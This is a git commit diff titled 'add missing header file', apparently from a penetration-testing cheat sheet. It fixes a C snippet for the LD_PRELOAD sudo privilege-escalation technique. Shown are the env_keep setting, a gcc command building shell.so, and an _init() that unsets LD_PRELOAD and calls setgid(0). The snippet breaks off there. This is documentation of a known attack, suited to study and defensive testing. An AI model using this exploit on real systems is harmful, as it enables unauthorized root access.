add missing header file
parent
3a4bd97762
commit
9086ff9d03
|
@ -442,10 +442,11 @@ Defaults env_keep += LD_PRELOAD
|
||||||
|
|
||||||
Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
|
Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
|
||||||
|
|
||||||
```powershell
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <sys/types.h>
|
#include <sys/types.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
void _init() {
|
void _init() {
|
||||||
unsetenv("LD_PRELOAD");
|
unsetenv("LD_PRELOAD");
|
||||||
setgid(0);
|
setgid(0);
|
||||||
|
|
Loading…
Reference in New Issue